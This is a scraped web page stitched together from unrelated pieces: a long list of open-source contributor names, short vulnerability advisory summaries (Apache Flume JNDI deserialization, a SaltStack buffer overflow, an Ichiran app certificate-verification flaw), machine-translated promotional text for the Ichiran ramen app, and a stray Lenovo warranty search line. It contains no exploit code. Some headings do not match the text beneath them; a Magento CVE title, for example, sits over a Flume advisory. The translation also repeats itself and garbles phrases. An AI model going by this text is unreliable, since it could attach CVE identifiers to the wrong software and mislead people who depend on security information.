**Lee Saferite**

  
**Colin Mollenhour**

  
**David Robinson**

  
**Tymoteusz Motylewski**

  
**Daniel Fahlke**

  
**SNH\_NL**

  
**Marc Romano**

  
**Fabian Blechschmidt**

  
**Luboš Hubáček**

  
**Erik Dannenberg**

  
**Jeroen Boersma**

  
**Leandro F. L.**

  
**Kevin Krieger**

  
**Ng Kiat Siong**

  
**bob2021**

  
**Bastien Lamamy**

  
**Dmitry Furs**

  
**Robert Coleman**

  
**Milan Davídek**

  
**Matt Davenport**

  
**elfling**

  
**henrykb**

  
**Tony**

  
**Mark Lewis**

  
**Eric Sean Turner**

  
**Eric Seastrand**

  
**Tobias Schifftner**

  
**Simon Sprankel**

  
**Tom Lankhorst**

  
**shirtsofholland**

  
**sebastianwagner**

  
**Maxime Huran**

  
**Pepijn**

  
**manuperezgo**

  
**luigifab**

  
**Loek van Gool**

  
**kpitn**

  
**kalenjordan**

  
**IOWEB TECHNOLOGIES**

  
**Florent**

  
**dvdsndr**

  
**Vincent MARMIESSE**

  
**Lucas van Staden**

  
**zamoroka**

  
**wpdevteam**

  
**Wouter Samaey**

  
**Vova Yatsyuk**

  
**Trevor Hartman**

  
**Somewhere**

  
**Fabian Schmengler />**

  
**Roman Hutterer**

  
**Sergei Filippov**

  
**Sam Steele**

  
**Ricardo Velhote**

  
**Roy Duineveld**

  
**Roberto Sarmiento Pérez**

  
**Pierre Martin**

  
**Rafał Dołgopoł**

  
**Rafael Patro**

  
**Andreas Pointner**

  
**Paul Rodriguez**

  
**ollb**

  
**Nicholas Graham**

  
**Makis Palasis**

  
**Miguel Balparda**

  
**Mark van der Sanden**

  
**Micky Socaci**

  
**Marvin Sengera**

  
**Kostadin A.**

  
**Julien Loizelet**

  
**Jonas Hünig**

  
**Stefan Jaroschek**

  
**Jacques Bodin-Hullin**

  
**Wilhelm Ellmann**

  
**Edwin.**

  
**drago-aca**

  
**Daniel Niedergesäß**

  
**J Davis**

  
**Damien Biasotto**

  
**Daniel Corn**

  
**Paweł Cieślik**

  
**André Herrn**

  
**Pablo Benmaman**

  
**aterjung**

  
**altdovydas**

  
**Alisson Júnior**

  
**Alex Kirsch**

  
**Branden**

  
**Pof Magicfingers**

  
**Michael Thessel**

  
**Jonathan Laliberte**

  
**Ivan Chepurnyi**

  
**Igor**

  
**Elias Kotlyar**

  
**Hejty1**

  
**Gaelle**

  
**Frédéric MARTINEZ**

  
**Tobias Faust**

  
**AndresInSpace**

  
**Francesco Boes**

  
**Daniel Bachmann**

  
**Damian Luszczymak**

  
**Fabrizio Balliano**

  
**Jouriy**

  
**Digital Pianism**

  
**Justin Beaty**

  
**ADDISON**

  
**Aria Stewart**

  
**Dean Williams**

  
**Henry Hirsch**

  
**kdckrs**

  
**Martin René Sørensen**

  
**Frank Rochlitzer**

  
**AlterWeb**

  
**Caprico**

  
**David Windell**

  
**Dragan Atanasov**

  
**Eugene Lamskoy**

  
**Ferdinand**

  
**Himanshu**

  
**Jakub Idziak**

  
**Joseph Maxwell**

  
**Joshua Dickerson**

  
**Kevin Bortnick**

  
**Mehdi Chaouch**

  
**Mohamed ELIDRISSI**

  
**Justin van Elst**

  
**Nicholas Graham**

  
**Patrick Schnell**

  
**Patrick Cronin**

  
**Petr Švamberg**

  
**Rafael Corrêa Gomes**

  
**Ralf Siepker**

  
**Sunel Tr**

  
**Tom Klingenberg**

  
**Toon**

  
**WEXO team**

  
**Wilfried Wolf**

  
**akrzemianowski**

  
**andthink**

  
**eetzen**

  
**lemundo-team**

  
**mdlonline**

  
**Benjamin MARROT**

  
**Tino Mewes**

  
**Carsten Brandt**

  
**Enéias Ramos de Melo**

  
**Scott Moore**

  
**Roger Feese**

  
**Alexander Gelzer**

This project follows the all-contributors specification. Contributions of any kind welcome!

CVE-2021-21395: openmage/magento-lts - Packagist

Flume’s JMSSource class can be configured with a providerUrl parameter. A JNDI lookup is performed on this name without performing validation. This could result in untrusted data being deserialized, leading to remote code execution (RCE) attack when a configuration uses a JMS Source with an unsafe providerURL. This issue is fixed in version 1.11.0.

**Apache Flume vulnerable to remote code execution via deserialization of unsafe providerURL**

Moderate severity GitHub Reviewed Published Oct 26, 2022 • Updated Oct 27, 2022

GHSA-9w4g-fp9h-3q2v: Apache Flume vulnerable to remote code execution via deserialization of unsafe providerURL

Buffer Overflow vulnerability in Saltstack v.3003 and before allows attacker to execute arbitrary code via the func variable in salt/salt/modules/status.py file.

CVE-2021-33226: salt/status.py at master · saltstack/salt

Ichiran App for iOS versions prior to 3.1.0 and Ichiran App for Android versions prior to 3.1.0 improperly verify server certificates, which may allow a remote unauthenticated attacker to eavesdrop on an encrypted communication via a man-in-the-middle attack.

Members who have registered with the Ichiran official app are called "noodle bars (members)".  
The noodle bar can receive special benefits exclusive to the noodle bar.

1\. 1. Get a great deal on vouchers by earning points!  
You can use the points you earned at the "Points earning spots" in the store to get vouchers for popular products such as soft-boiled eggs and soft-boiled eggs.

2\. Get children's ramen!  
We will provide "Children's Ramen" free of charge to children under elementary school age (up to 5) per adult.

3\. 3. New contents will be released one after another!  
We will update it from time to time.

1\. 1. Easy store search with GPS function!  
We will immediately search for the nearest store information on the spot and guide you to the route to the store.

2\. Check all the latest information!  
You can check all the new product information and the latest campaign information provided at the store with the push notification function.

3\. 3. Deliver your favorite souvenir products to your home!  
You can purchase Ichiran's recommended souvenir products from home. You can easily taste popular products.

\* Some contents are for members only.

Search

lenovo warranty check/lookup | check warranty status | lenovo support us